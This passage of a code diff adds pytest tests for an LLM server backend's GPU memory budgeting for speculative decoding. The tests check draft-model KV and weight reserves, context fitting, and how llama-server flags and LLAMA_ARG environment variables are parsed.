+        monkeypatch.setattr(b, "_draft_backend_for", lambda path: None)
+        assert b._mtp_draft_kv_bytes(65536, drafter_path = "/m/d.gguf") is None
+        assert b._estimate_mtp_overhead_bytes(65536, drafter_path = "/m/d.gguf") is None
+
+    def test_keeps_weights_when_drafter_kv_unsizable(self, monkeypatch):
+        # KV can't be sized (exotic/remote drafter), but the local weights are
+        # known: reserve the weights so a drafter larger than the flat fallback
+        # cushion can't slip through and OOM (Finding C). Nothing known -> None.
+        b = _make_backend(nextn = None)
+        monkeypatch.setattr(b, "_draft_backend_for", lambda path: None)
+        assert b._mtp_draft_kv_bytes(65536, drafter_path = "/m/d.gguf") is None
+        assert (
+            b._estimate_mtp_overhead_bytes(
+                65536, drafter_path = "/m/d.gguf", draft_weights_bytes = 3 * GIB
+            )
+            == 3 * GIB
+        )
+        assert b._estimate_mtp_overhead_bytes(65536, drafter_path = "/m/d.gguf") is None
+
+
+# ---------------------------------------------------------------------------
+# Total overhead = draft KV (+ separate drafter weights); no verify constant
+# ---------------------------------------------------------------------------
+
+
+class TestOverheadTotal:
+    def test_equals_draft_kv_for_embedded(self):
+        b = _make_backend()
+        for ctx in (16384, 65536, 131072):
+            assert b._estimate_mtp_overhead_bytes(ctx) == b._mtp_draft_kv_bytes(ctx)
+
+    def test_does_not_depend_on_n_max(self):
+        # The verify buffer (the only n_max-dependent term) rides in headroom now.
+        b = _make_backend()
+        assert b._estimate_mtp_overhead_bytes(
+            65536, spec_draft_n_max = 2
+        ) == b._estimate_mtp_overhead_bytes(65536, spec_draft_n_max = 6)
+
+    def test_none_when_draft_kv_unsizable(self):
+        assert _make_backend(nextn = 0)._estimate_mtp_overhead_bytes(65536) is None
+
+    def test_includes_separate_drafter_weights(self):
+        b = _make_backend()
+        base = b._estimate_mtp_overhead_bytes(65536)
+        with_w = b._estimate_mtp_overhead_bytes(65536, draft_weights_bytes = GIB)
+        assert with_w - base == GIB
+
+    @pytest.mark.parametrize(
+        "ctx,measured_draft_kv_mib",
+        # Measured 27B MTP delta minus the (headroom-covered) ~500 MiB verify
+        # buffer leaves the draft KV; the deterministic estimate must match it.
+        [(16384, 64), (65536, 256), (131072, 512)],
+    )
+    def test_draft_kv_matches_measured(self, ctx, measured_draft_kv_mib):
+        b = _make_backend()
+        pred = b._estimate_mtp_overhead_bytes(ctx) / MIB
+        assert pred == pytest.approx(measured_draft_kv_mib, abs = 2)
+
+
+# ---------------------------------------------------------------------------
+# _fit_context_to_vram: MTP reserve lowers the chosen context
+# ---------------------------------------------------------------------------
+
+
+class TestFitContextWithMtp:
+    def _fit_backend(self, kv_per_token = 325_000):
+        b = _make_backend()
+        b._can_estimate_kv = lambda: True
+        b._estimate_kv_cache_bytes = lambda n, _t = None, **_k: (0 if n <= 0 else n * kv_per_token)
+        return b
+
+    def test_overhead_fn_lowers_context(self):
+        b = self._fit_backend()
+        avail_mib = 24_000
+        model = 8 * GIB
+        without = b._fit_context_to_vram(131072, avail_mib, model)
+        with_mtp = b._fit_context_to_vram(
+            131072,
+            avail_mib,
+            model,
+            mtp_overhead_fn = lambda c: b._estimate_mtp_overhead_bytes(c) or 0,
+        )
+        assert 0 < with_mtp < without
+
+    def test_quantized_embedded_draft_kv_does_not_inflate_context(self):
+        # For the single-layer embedded head, quantizing the draft KV does NOT
+        # buy more context (it fits less in practice; ggml-org/llama.cpp#24102),
+        # so the f16-floored reserve advertises the same context as f16 -- never
+        # a larger one off a smaller (unsafe) reserve.
+        b = self._fit_backend()
+        avail_mib, model = 24_000, 8 * GIB
+        f16 = b._fit_context_to_vram(
+            131072,
+            avail_mib,
+            model,
+            mtp_overhead_fn = lambda c: b._estimate_mtp_overhead_bytes(
+                c, draft_cache_type_k = "f16", draft_cache_type_v = "f16"
+            )
+            or 0,
+        )
+        q4 = b._fit_context_to_vram(
+            131072,
+            avail_mib,
+            model,
+            mtp_overhead_fn = lambda c: b._estimate_mtp_overhead_bytes(
+                c, draft_cache_type_k = "q4_0", draft_cache_type_v = "q4_0"
+            )
+            or 0,
+        )
+        assert 0 < q4 == f16
+
+    def test_no_mtp_unchanged(self):
+        b = self._fit_backend()
+        avail_mib, model = 24_000, 8 * GIB
+        a = b._fit_context_to_vram(131072, avail_mib, model)
+        bb = b._fit_context_to_vram(
+            131072, avail_mib, model, mtp_engaged = False, mtp_overhead_fn = None
+        )
+        assert a == bb
+
+    def test_chosen_context_actually_fits_budget(self):
+        b = self._fit_backend()
+        avail_mib, model = 24_000, 8 * GIB
+        fn = lambda c: b._estimate_mtp_overhead_bytes(c) or 0  # noqa: E731
+        ctx = b._fit_context_to_vram(131072, avail_mib, model, mtp_overhead_fn = fn)
+        budget = avail_mib * MIB * _CTX_FIT_VRAM_FRACTION
+        assert model + b._estimate_kv_cache_bytes(ctx) + fn(ctx) <= budget
+
+
+# ---------------------------------------------------------------------------
+# extra_args parsing: detect user-enabled MTP + draft depth + draft KV type
+# ---------------------------------------------------------------------------
+
+
+class TestExtraArgsMtpDetection:
+    @pytest.mark.parametrize(
+        "args,expected",
+        [
+            (["--spec-type", "draft-mtp"], True),
+            (["--spec-type", "mtp"], True),
+            (["--spec-type", "ngram-mod,draft-mtp"], True),
+            (["--spec-type=draft-mtp"], True),
+            (["--spec-type", "ngram-mod"], False),
+            (["--spec-default"], False),
+            (["-c", "131072"], False),
+            (None, False),
+            ([], False),
+        ],
+    )
+    def test_requests_mtp(self, args, expected):
+        assert _extra_args_requests_mtp(args, env = {}) is expected
+
+    def test_requests_mtp_env(self):
+        # The child honors LLAMA_ARG_SPEC_TYPE; env-requested MTP must reserve too.
+        assert _extra_args_requests_mtp([], env = {"LLAMA_ARG_SPEC_TYPE": "draft-mtp"}) is True
+        assert _extra_args_requests_mtp([], env = {"LLAMA_ARG_SPEC_TYPE": "ngram-mod,mtp"}) is True
+        assert _extra_args_requests_mtp([], env = {"LLAMA_ARG_SPEC_TYPE": "draft-simple"}) is False
+        assert _extra_args_requests_mtp([], env = {"LLAMA_ARG_SPEC_TYPE": "none"}) is False
+
+    def test_requests_mtp_effective_spec_type(self):
+        # llama.cpp uses the LAST CLI --spec-type and ignores the env when any CLI
+        # --spec-type is present. The reserve must track that effective value, not
+        # any earlier/MTP-ish one, or it over-reserves a drafter the launch won't
+        # load (Finding B).
+        env_mtp = {"LLAMA_ARG_SPEC_TYPE": "draft-mtp"}
+        # Later CLI value overrides an earlier MTP one (last-wins).
+        assert (
+            _extra_args_requests_mtp(
+                ["--spec-type", "draft-mtp", "--spec-type", "ngram-mod"], env = {}
+            )
+            is False
+        )
+        # A non-MTP CLI flag overrides a stale MTP env.
+        assert _extra_args_requests_mtp(["--spec-type", "ngram-mod"], env = env_mtp) is False
+        assert _extra_args_requests_mtp(["--spec-type", "none"], env = env_mtp) is False
+        # A later MTP CLI value still engages.
+        assert (
+            _extra_args_requests_mtp(
+                ["--spec-type", "ngram-mod", "--spec-type", "draft-mtp"], env = {}
+            )
+            is True
+        )
+        # Same precedence for separate (draft-simple/eagle3) detection.
+        assert (
+            _extra_args_requests_separate_draft(
+                ["--spec-type", "draft-simple", "--spec-type", "ngram-mod"], env = {}
+            )
+            is False
+        )
+        assert (
+            _extra_args_requests_separate_draft(
+                ["--spec-type", "ngram-mod"], env = {"LLAMA_ARG_SPEC_TYPE": "draft-simple"}
+            )
+            is False
+        )
+
+    @pytest.mark.parametrize(
+        "args,expected",
+        [
+            (["--spec-type", "draft-simple"], True),
+            (["--spec-type", "draft-eagle3"], True),
+            (["--spec-type=draft-eagle3"], True),
+            (["--spec-type", "draft-mtp"], False),  # MTP path handles this one
+            (["--spec-type", "ngram-mod"], False),  # loads no draft model
+            (["-c", "4096"], False),
+            (None, False),
+        ],
+    )
+    def test_requests_separate_draft(self, args, expected):
+        assert _extra_args_requests_separate_draft(args, env = {}) is expected
+
+    def test_requests_separate_draft_env(self):
+        assert (
+            _extra_args_requests_separate_draft([], env = {"LLAMA_ARG_SPEC_TYPE": "draft-simple"})
+            is True
+        )
+        assert (
+            _extra_args_requests_separate_draft([], env = {"LLAMA_ARG_SPEC_TYPE": "draft-mtp"})
+            is False
+        )
+
+    def test_load_model_reserves_for_non_mtp_draft_modes(self):
+        # load_model engages the draft reserve for a non-MTP model-based draft mode
+        # only when extras also name a drafter (else nothing is loaded to reserve).
+        # Strip all whitespace so the check survives any line-wrapping the
+        # formatter applies to the call (pre-commit black wraps long lines).
+        compact = "".join(inspect.getsource(LlamaCppBackend.load_model).split())
+        assert "_user_draft_via_extras" in compact
+        # called with extra_args (an env kwarg may follow); prefix match stays
+        # robust to that and to any formatter line-wrapping.
+        assert "_extra_args_requests_separate_draft(extra_args" in compact
+        assert "or_user_draft_via_extras" in compact  # OR'd into the reserve gate
+        # The drafter check must NOT force extras-only (env={}); the default
+        # env=None lets it see an env LLAMA_ARG_SPEC_DRAFT_MODEL, so an env-only
+        # drafter still engages the reserve (codex review 4507014299).
+        assert "bool(_extra_args_mtp_draft_path(extra_args))" in compact
+
+    def test_env_only_drafter_engages_separate_draft_reserve(self, monkeypatch):
+        # An env-provided drafter (no --model-draft in extras) must still engage
+        # the draft reserve, or auto-fit spends the drafter's VRAM and OOMs. Mirror
+        # load_model's _user_draft_via_extras gate (codex review 4507014299).
+        monkeypatch.setenv("LLAMA_ARG_SPEC_DRAFT_MODEL", "/large.gguf")
+        monkeypatch.delenv("LLAMA_ARG_SPEC_DRAFT_HF_REPO", raising = False)
+        ea = ["--spec-type", "draft-simple"]  # _spec_env is {} (extras set spec-type)
+        assert _extra_args_requests_separate_draft(ea, env = {}) is True
+        assert _extra_args_mtp_draft_path(ea) == "/large.gguf"  # env=None -> os.environ
+        # -> _user_draft_via_extras True; _env_draft_for_budget sizes the drafter.
+        assert _extra_args_mtp_draft_path([], env = dict(os.environ)) == "/large.gguf"
+
+    def test_load_model_gates_env_spec_type_on_off_mode(self):
+        # LLAMA_ARG_SPEC_TYPE only reaches the child when Studio emits no spec
+        # flag (UI mode "off", no user --spec-type); otherwise the emitted
+        # --spec-type/--spec-default overrides the env, so the reserve must not
+        # consult it or a stale MTP env over-reserves (Finding F3). Whitespace-
+        # stripped so the check survives formatter line-wrapping.
+        compact = "".join(inspect.getsource(LlamaCppBackend.load_model).split())
+        assert '_mtp_canonical=="off"' in compact  # the env-reaches-child gate
+        assert "_extra_args_requests_mtp(extra_args,env=_spec_env)" in compact
+
+    def test_spec_default_overrides_env_mtp(self):
+        # --spec-default is a CLI spec flag (resolves to the model default,
+        # non-MTP) that overrides a stale LLAMA_ARG_SPEC_TYPE env, so the reserve
+        # must not treat it as MTP (reviewer.py R4).
+        env_mtp = {"LLAMA_ARG_SPEC_TYPE": "draft-mtp"}
+        assert _extra_args_requests_mtp(["--spec-default"], env = env_mtp) is False
+        assert (
+            _extra_args_requests_separate_draft(
+                ["--spec-default"], env = {"LLAMA_ARG_SPEC_TYPE": "draft-simple"}
+            )
+            is False
+        )
+        # A later --spec-type still wins over an earlier --spec-default.
+        assert (
+            _extra_args_requests_mtp(["--spec-default", "--spec-type", "draft-mtp"], env = {}) is True
+        )
+
+    def test_load_model_drafter_budget_precedence(self):
+        # The budget sizes the drafter the launch actually loads: CLI extras win,
+        # then Studio's emitted mtp_draft_path (overrides LLAMA_ARG_SPEC_DRAFT_MODEL),
+        # then the env drafter -- not the env before Studio's (reviewer.py R3).
+        compact = "".join(inspect.getsource(LlamaCppBackend.load_model).split())
+        assert "_cli_draft_for_budget=_extra_args_mtp_draft_path(extra_args,env={})" in compact
+        assert "_env_draft_for_budget=_extra_args_mtp_draft_path([],env=os.environ)" in compact
+        assert "_cli_draft_for_budgetor_studio_draft_for_budgetor_env_draft_for_budget" in compact
+
+    def test_load_model_drops_cpu_offloaded_drafter_from_budget(self):
+        # A SEPARATE drafter offloaded to CPU (--spec-draft-ngl 0 /
+        # --spec-draft-device none) consumes no GPU, so it must be dropped from the
+        # budget and get no flat reserve (Finding F2). But an embedded head is on
+        # GPU regardless of those draft-only flags, so the flat reserve is only
+        # suppressed when there is no embedded head (Finding G5).
+        compact = "".join(inspect.getsource(LlamaCppBackend.load_model).split())
+        # env-aware: also honors the inherited LLAMA_ARG_N_GPU_LAYERS_DRAFT.
+        assert (
+            "_draft_on_cpu=_extra_args_draft_offloaded_to_cpu(extra_args,env=os.environ)" in compact
+        )
+        assert "if_draft_on_cpu:_mtp_draft_for_budget=None" in compact
+        # flat reserve suppressed only for a CPU drafter with no embedded head
+        assert "_draft_cpu_no_embedded=_draft_on_cpuandnotself._nextn_predict_layers" in compact
+        assert "not_draft_cpu_no_embedded" in compact
+
+    def test_load_model_keeps_flat_reserve_for_unsized_draft_kv(self):
+        # When only the drafter weights could be sized (KV unsizable), the flat
+        # fraction stays on as the cushion for the still-unsized draft KV, on top
+        # of the byte-accurate weights reserve (Finding G3).
+        compact = "".join(inspect.getsource(LlamaCppBackend.load_model).split())
+        assert "_mtp_kv_unsized" in compact
+        assert "mtp_overhead_fnisNoneor_mtp_kv_unsized" in compact
+
+    def test_load_model_ranks_subsets_by_active_pin_fraction(self):
+        # Auto/cap subset ranking uses the active budget fraction (lowered by the
+        # flat MTP reserve), not a hard-coded 0.95, so the ranking order matches
+        # the fit budget that is then tested (Finding G4).
+        compact = "".join(inspect.getsource(LlamaCppBackend.load_model).split())
+        assert "_gpu_usable(g,pin_fraction)" in compact
+        assert "_gpu_usable(g,_CTX_FIT_VRAM_FRACTION-_flat_mtp_reserve)" in compact
+
+    @pytest.mark.parametrize(
+        "args,expected",
+        [
+            (["--spec-draft-ngl", "0"], True),
+            (["-ngld", "0"], True),
+            (["--spec-draft-ngl=0"], True),
+            (["--n-gpu-layers-draft", "0"], True),
+            (["--spec-draft-ngl", "20"], False),
+            (["--spec-draft-device", "none"], True),
+            (["--spec-draft-device", "CPU"], True),
+            (["-devd", "cpu,none"], True),
+            (["--spec-draft-device", "CUDA0"], False),
+            (["--spec-draft-device", "CUDA0,CPU"], False),  # any GPU -> on GPU
+            (["-c", "4096"], False),
+            (None, False),
+            # last-wins: only the final value of each flag counts (Finding G2)
+            (["--spec-draft-ngl", "0", "--spec-draft-ngl", "-1"], False),  # last = GPU
+            (["--spec-draft-ngl", "-1", "--spec-draft-ngl", "0"], True),  # last = CPU
+            (["--spec-draft-device", "CUDA0", "--spec-draft-device", "none"], True),
+            (["--spec-draft-device", "none", "--spec-draft-device", "CUDA0"], False),
+        ],
+    )
+    def test_draft_offloaded_to_cpu(self, args, expected):
+        assert _extra_args_draft_offloaded_to_cpu(args, env = {}) is expected
+
+    def test_draft_offloaded_to_cpu_env(self):
+        # The child honors LLAMA_ARG_N_GPU_LAYERS_DRAFT; an env-only CPU offload
+        # must drop the drafter from the budget too (review run3 #3). CLI wins.
+        assert (
+            _extra_args_draft_offloaded_to_cpu([], env = {"LLAMA_ARG_N_GPU_LAYERS_DRAFT": "0"})
+            is True
+        )
+        assert (
+            _extra_args_draft_offloaded_to_cpu([], env = {"LLAMA_ARG_N_GPU_LAYERS_DRAFT": "-1"})
+            is False
+        )
+        # CLI --spec-draft-ngl wins over the env (last-wins is CLI-only).
+        assert (
+            _extra_args_draft_offloaded_to_cpu(
+                ["--spec-draft-ngl", "-1"], env = {"LLAMA_ARG_N_GPU_LAYERS_DRAFT": "0"}
+            )
+            is False
+        )
+        assert _extra_args_draft_offloaded_to_cpu([], env = {}) is False
+
+    @pytest.mark.parametrize(
+        "args,expected",
+        [
+            (["--spec-draft-n-max", "4"], 4),
+            (["--spec-draft-n-max=6"], 6),
+            (["--spec-type", "draft-mtp", "--spec-draft-n-max", "3"], 3),
+            (["--spec-draft-n-max", "2", "--spec-draft-n-max", "5"], 5),  # last wins
+            (["--spec-draft-n-max", "notanint"], None),
+            (["-c", "4096"], None),
+            (None, None),
+            (["--draft-max", "6"], 6),
+            (["--draft-max=4"], 4),
+            (["--spec-type", "draft-mtp", "--draft-max", "6"], 6),
+            (["--spec-draft-n-max", "2", "--draft-max", "5"], 5),
+        ],
+    )
+    def test_spec_draft_n_max(self, args, expected):
+        assert _extra_args_spec_draft_n_max(args) == expected
+
+    @pytest.mark.parametrize(
+        "args,expected",
+        [
+            (["--model-draft", "/m/draft.gguf"], "/m/draft.gguf"),
+            (["--spec-draft-model", "/m/draft.gguf"], "/m/draft.gguf"),
+            (["-md", "/m/draft.gguf"], "/m/draft.gguf"),
+            (["--model-draft=/m/draft.gguf"], "/m/draft.gguf"),
+            (["--model-draft", "--spec-type"], None),
+            (["-c", "4096"], None),
+            (None, None),
+        ],
+    )
+    def test_mtp_draft_path(self, args, expected):
+        # env={} isolates pure-CLI behavior from a polluted test environment.
+        assert _extra_args_mtp_draft_path(args, env = {}) == expected
+
+    @pytest.mark.parametrize(
+        "args,expected",
+        [
+            # HF draft repo flags are real llama-server flags; the budget must see them.
+            (["--spec-draft-hf", "big/repo:Q8_0"], "big/repo:Q8_0"),
+            (["-hfd", "big/repo"], "big/repo"),
+            (["-hfrd", "big/repo"], "big/repo"),
+            (["--hf-repo-draft=big/repo"], "big/repo"),
+        ],
+    )
+    def test_mtp_draft_path_hf_flags(self, args, expected):
+        assert _extra_args_mtp_draft_path(args, env = {}) == expected
+
+    def test_mtp_draft_path_env_fallback(self):
+        # The child honors LLAMA_ARG_SPEC_DRAFT_MODEL / _HF_REPO; CLI wins over env.
+        assert (
+            _extra_args_mtp_draft_path([], env = {"LLAMA_ARG_SPEC_DRAFT_MODEL": "/m/e.gguf"})
+            == "/m/e.gguf"
+        )
+        assert _extra_args_mtp_draft_path([], env = {"LLAMA_ARG_SPEC_DRAFT_HF_REPO": "x/y"}) == "x/y"
+        assert (
+            _extra_args_mtp_draft_path(
+                ["-md", "/m/cli.gguf"], env = {"LLAMA_ARG_SPEC_DRAFT_HF_REPO": "x/y"}
+            )
+            == "/m/cli.gguf"
+        )
+
+    @pytest.mark.parametrize(
+        "args,expected",
+        [
+            (["--cache-type-k-draft", "q8_0"], ("q8_0", None)),
+            (["--spec-draft-type-k", "q4_0"], ("q4_0", None)),
+            (["-ctkd", "q8_0"], ("q8_0", None)),
+            (["--cache-type-v-draft", "q4_0"], (None, "q4_0")),  # K stays f16, V only
+            (["--cache-type-k-draft", "q4_0", "--cache-type-v-draft", "q8_0"], ("q4_0", "q8_0")),
+            (["--cache-type-k-draft=q8_0"], ("q8_0", None)),
+            (["--cache-type-k", "q8_0"], (None, None)),  # main type, not draft
+            (["-c", "4096"], (None, None)),
+            (None, (None, None)),
+        ],
+    )
+    def test_draft_cache_types(self, args, expected):
+        assert _extra_args_draft_cache_types(args, env = {}) == expected
+
+    def test_draft_cache_types_env_fallback(self):
+        # The child honors LLAMA_ARG_SPEC_DRAFT_CACHE_TYPE_K/_V per axis; CLI wins.
+        assert _extra_args_draft_cache_types(
+            [], env = {"LLAMA_ARG_SPEC_DRAFT_CACHE_TYPE_K": "q8_0"}
+        ) == ("q8_0", None)
+        assert _extra_args_draft_cache_types(
+            [],
+            env = {
+                "LLAMA_ARG_SPEC_DRAFT_CACHE_TYPE_K": "q8_0",
+                "LLAMA_ARG_SPEC_DRAFT_CACHE_TYPE_V": "q4_0",
+            },
+        ) == ("q8_0", "q4_0")
+        assert _extra_args_draft_cache_types(
+            ["-ctkd", "q4_0"], env = {"LLAMA_ARG_SPEC_DRAFT_CACHE_TYPE_K": "q8_0"}
+        ) == ("q4_0", None)
+
+    @pytest.mark.parametrize(
+        "args,expected",
+        [
+            (["--ubatch-size", "1024"], 1024),
+            (["-ub", "4096"], 4096),
+            (["--ubatch-size=512"], 512),
+            (["--ubatch", "2048"], None),  # not a real llama-server flag; ignore it
+            (["-c", "4096"], None),
+            (None, None),
+        ],
+    )
+    def test_n_ubatch(self, args, expected):
+        assert _extra_args_n_ubatch(args, env = {}) == expected
+
+    def test_n_ubatch_env_fallback(self):
+        # The child honors LLAMA_ARG_UBATCH; it must reach the compute-buffer reserve.
+        assert _extra_args_n_ubatch([], env = {"LLAMA_ARG_UBATCH": "4096"}) == 4096
+        assert (
+            _extra_args_n_ubatch(["-ub", "1024"], env = {"LLAMA_ARG_UBATCH": "4096"}) == 1024
+        )  # CLI wins
+        assert _extra_args_n_ubatch([], env = {"LLAMA_ARG_UBATCH": "notint"}) is None
+
+    def test_env_main_cache_type_for_budget(self):
+        # The child inherits LLAMA_ARG_CACHE_TYPE_K/_V, but Studio emits no
+        # --cache-type when neither param nor extras set it -> a heavier env
+        # main KV (f32) must be adopted so the reserve matches the child.
+        assert _env_main_cache_type_for_budget(env = {}) is None
+        # f32 exceeds the f16 default -> adopt it (lower-cased so the launch
+        # re-emits it via _valid_cache_types).
+        assert _env_main_cache_type_for_budget(env = {"LLAMA_ARG_CACHE_TYPE_K": "f32"}) == "f32"
+        assert _env_main_cache_type_for_budget(env = {"LLAMA_ARG_CACHE_TYPE_V": "F32"}) == "f32"
+        # Heavier of K/V (single knob; over-reserves the lighter axis).
+        assert (
+            _env_main_cache_type_for_budget(
+                env = {"LLAMA_ARG_CACHE_TYPE_K": "f32", "LLAMA_ARG_CACHE_TYPE_V": "f16"}
+            )
+            == "f32"
+        )
+        # Quantized env types are <= f16 -> already over-reserved by the default.
+        assert _env_main_cache_type_for_budget(env = {"LLAMA_ARG_CACHE_TYPE_K": "q4_0"}) is None
+        assert _env_main_cache_type_for_budget(env = {"LLAMA_ARG_CACHE_TYPE_V": "q8_0"}) is None
+        assert _env_main_cache_type_for_budget(env = {"LLAMA_ARG_CACHE_TYPE_K": "f16"}) is None
+        # Unknown env type self-neutralizes (treated as f16 by _kv_bytes_per_elem).
+        assert _env_main_cache_type_for_budget(env = {"LLAMA_ARG_CACHE_TYPE_K": "wat"}) is None
+
+    def test_load_model_adopts_env_main_cache_type(self):
+        # Source-level: load_model budgets the heavier of asymmetric --cache-type
+        # extras, then (only when neither param nor extras set it) adopts the env
+        # main KV type, so the reserve covers a child that inherits a heavier
+        # LLAMA_ARG_CACHE_TYPE_*. Whitespace-stripped to survive formatter wraps.
+        compact = "".join(inspect.getsource(LlamaCppBackend.load_model).split())
+        assert "_extra_args_main_cache_type_for_budget(extra_args)" in compact
+        assert "ifcache_type_kvisNone:" in compact
+        assert "cache_type_kv=_env_main_cache_type_for_budget()" in compact
+
+    def test_env_split_mode_is_tensor(self):
+        # The child inherits LLAMA_ARG_SPLIT_MODE, but Studio emits --split-mode
+        # only on its tensor branch -> a tensor env must flip the budget so the
+        # heavier per-device compute buffer is reserved (not layer overhead).
+        assert _env_split_mode_is_tensor(env = {}) is False
+        assert _env_split_mode_is_tensor(env = {"LLAMA_ARG_SPLIT_MODE": "tensor"}) is True
+        assert _env_split_mode_is_tensor(env = {"LLAMA_ARG_SPLIT_MODE": "Tensor"}) is True
+        # Other modes are not a runtime-heavier surprise -> not acted on.
+        assert _env_split_mode_is_tensor(env = {"LLAMA_ARG_SPLIT_MODE": "layer"}) is False
+        assert _env_split_mode_is_tensor(env = {"LLAMA_ARG_SPLIT_MODE": "row"}) is False
+        assert _env_split_mode_is_tensor(env = {"LLAMA_ARG_SPLIT_MODE": "none"}) is False
+
+    def test_effective_tensor_parallel_env_flip(self):
+        # Shared by load_model and both duplicate-load matchers, so they agree.
+        tensor_env = {"LLAMA_ARG_SPLIT_MODE": "tensor"}
+        # No extras, toggle off, tensor env -> flips on.
+        assert _effective_tensor_parallel(None, False, env = tensor_env) is True
+        # Extras override (any --split-mode) beats the env, even if non-tensor.
+        assert _effective_tensor_parallel(["--split-mode", "layer"], False, env = tensor_env) is False
+        # Explicit extras/toggle tensor stays on regardless of env.
+        assert _effective_tensor_parallel(["--split-mode", "tensor"], False, env = {}) is True
+        assert _effective_tensor_parallel(None, True, env = {}) is True
+        # One-directional: a non-tensor env never downgrades, and no env -> no flip.
+        assert _effective_tensor_parallel(None, False, env = {}) is False
+        assert (
+            _effective_tensor_parallel(None, False, env = {"LLAMA_ARG_SPLIT_MODE": "layer"}) is False
+        )
+
+    def test_tensor_parallel_matches_loaded_env_downgrade(self):
+        # Env-only tensor matches a server that actually launched tensor, but a
+        # server load_model downgraded to layer (env scrubbed) must still match
+        # an identical request -- not reload forever (#6312).
+        tensor_env = {"LLAMA_ARG_SPLIT_MODE": "tensor"}
+        # Launched tensor: env-only request matches.
+        assert _tensor_parallel_matches_loaded(None, False, True, env = tensor_env) is True
+        # Downgraded to layer: same env-only request still matches (no reload loop).
+        assert _tensor_parallel_matches_loaded(None, False, False, env = tensor_env) is True
+        # No env: a plain request matches a layer server and mismatches a tensor one.
+        assert _tensor_parallel_matches_loaded(None, False, False, env = {}) is True
+        assert _tensor_parallel_matches_loaded(None, False, True, env = {}) is False
+        # Explicit tensor request stays strict: must have a tensor server.
+        assert _tensor_parallel_matches_loaded(None, True, False, env = {}) is False
+        assert _tensor_parallel_matches_loaded(None, True, True, env = {}) is True
+        # An explicit non-tensor --split-mode beats the env (no flip).
+        assert (
+            _tensor_parallel_matches_loaded(["--split-mode", "layer"], False, True, env = tensor_env)
+            is False
+        )
+
+    def test_route_matcher_uses_tensor_parallel_matches_loaded(self):
+        # Fix: the route duplicate-load matcher must use the downgrade-aware
+        # helper, or an env-driven tensor server (or its layer downgrade) is
+        # needlessly reloaded (#6312). Read from disk (importing routes.inference
+        # drags in heavy deps).
+        routes_src = (
+            Path(__file__).resolve().parent.parent / "routes" / "inference.py"
+        ).read_text()
+        start = routes_src.index("def _request_matches_loaded_settings")
+        end = routes_src.index("\ndef ", start + 1)
+        body = "".join(routes_src[start:end].split())
+        assert (
+            "_tensor_parallel_matches_loaded(effective_extra,"
+            "request.tensor_parallel,llama_backend.tensor_parallel)" in body
+        )
+
+    def test_extra_args_main_cache_type_heavier_axis(self):
+        # Asymmetric --cache-type-k/-v must budget the heavier axis (extras win
+        # per axis at launch), not the last-wins single type that under-reserves.
+        H = _extra_args_main_cache_type_for_budget
+        assert H(["--cache-type-k", "f32", "--cache-type-v", "f16"]) == "f32"
+        assert H(["--cache-type-v", "f16", "--cache-type-k", "f32"]) == "f32"  # order-free
+        assert H(["--cache-type-k=f32", "--cache-type-v=f16"]) == "f32"  # = form
+        assert H(["-ctk", "q4_0", "-ctv", "q8_0"]) == "q8_0"  # heavier quant
+        assert H(["--cache-type-k", "q8_0"]) == "q8_0"  # single axis honored as-is
+        assert H(["-c", "4096"]) is None  # no cache flags
+        assert H(None) is None
+
+    def test_load_model_budgets_heavier_asymmetric_cache_axis(self):
+        # load_model must reserve from the heavier of asymmetric cache extras, or
+        # an f32 K against an f16 budget over-advertises context and can OOM.
+        load = "".join(inspect.getsource(LlamaCppBackend.load_model).split())
+        assert "_extra_args_main_cache_type_for_budget(extra_args)" in load
+
+    def test_load_model_tensor_drops_any_quantized_cache_axis(self):
+        # The heavier-by-bytes budget type can mask a quantized axis (an f16
+        # budget hides a paired q4_0), so the tensor-safety drop must test each
+        # --cache-type-k/-v extra, not just cache_type_kv -- else the quantized
+        # axis survives into tensor mode and crashes the load (#6312).
+        load = "".join(inspect.getsource(LlamaCppBackend.load_model).split())
+        assert "_ck_extra,_cv_extra=parse_cache_override_per_axis(extra_args)" in load
+        assert "forcin(cache_type_kv,_ck_extra,_cv_extra)" in load
+        assert "iftensor_paralleland_cache_non_tensor_safe:" in load
+
+    def test_load_model_layer_downgrade_restores_original_cache_extras(self):
+        # Tensor mode strips asymmetric --cache-type-k/-v (it rejects quantized),
+        # but layer split supports them, so a downgrade must restore the ORIGINAL
+        # extras, not just the scalar heavier type (else q4_0/f16 silently becomes
+        # f16/f16 on the layer fallback) (#6312).
+        load = "".join(inspect.getsource(LlamaCppBackend.load_model).split())
+        assert "_tensor_dropped_extra_args=list(extra_args)" in load
+        # Both tensor->layer downgrade points restore the saved originals.
+        assert load.count("strip_split_mode_only(_tensor_dropped_extra_argsif") == 2
+
+    def test_load_model_tensor_skips_reserve_for_cpu_drafter(self):
+        # A separate CPU-offloaded drafter (no embedded head) uses no GPU, so the
+        # tensor reserve must be suppressed like the layer path -- else tensor mode
+        # subtracts a phantom flat MTP reserve and under-advertises context (#6312).
+        load = "".join(inspect.getsource(LlamaCppBackend.load_model).split())
+        assert "_mtp_will_engageandnot_draft_cpu_no_embedded" in load
+        assert "ifnot_mtp_reserves_gpu:" in load
+        assert "mtp_engaged=_mtp_reserves_gpu" in load
+
+    def test_load_model_adopts_env_tensor_split_mode(self):
+        # load_model delegates the tensor decision to _effective_tensor_parallel,
+        # which flips to tensor only one-directionally: extras set no split mode,
+        # none is overridden, and the env selects tensor (an existing tensor plan
+        # is never downgraded). Whitespace-stripped to survive formatter wrapping.
+        load = "".join(inspect.getsource(LlamaCppBackend.load_model).split())
+        assert "tensor_parallel=_effective_tensor_parallel(extra_args,tensor_parallel)" in load
+        helper = "".join(inspect.getsource(_effective_tensor_parallel).split())
+        assert "notresolved" in helper
+        assert "parse_split_mode_override(extra_args)isNone" in helper
+        assert "_env_split_mode_is_tensor(env)" in helper
+
+    def test_load_model_does_not_emit_env_only_cache_type(self):
+        # Cluster C: an env-only (budget) cache type must not be re-emitted as
+        # --cache-type flags (that would rewrite an asymmetric K/V env). Emission
+        # is guarded by `not _cache_type_from_env`, set when the value came from
+        # _env_main_cache_type_for_budget(). Whitespace-stripped for formatter.
+        compact = "".join(inspect.getsource(LlamaCppBackend.load_model).split())
+        assert "cache_type_kv=_env_main_cache_type_for_budget()" in compact
+        assert "_cache_type_from_env=cache_type_kvisnotNone" in compact
+        assert "andnot_cache_type_from_env" in compact
+
+    def test_load_model_clears_inherited_split_mode_on_layer(self):
+        # Cluster A: when the final decision is layer split, an inherited
+        # non-layer LLAMA_ARG_SPLIT_MODE (and paired LLAMA_ARG_TENSOR_SPLIT) must
+        # be popped from the child env so the child cannot run tensor/row/none
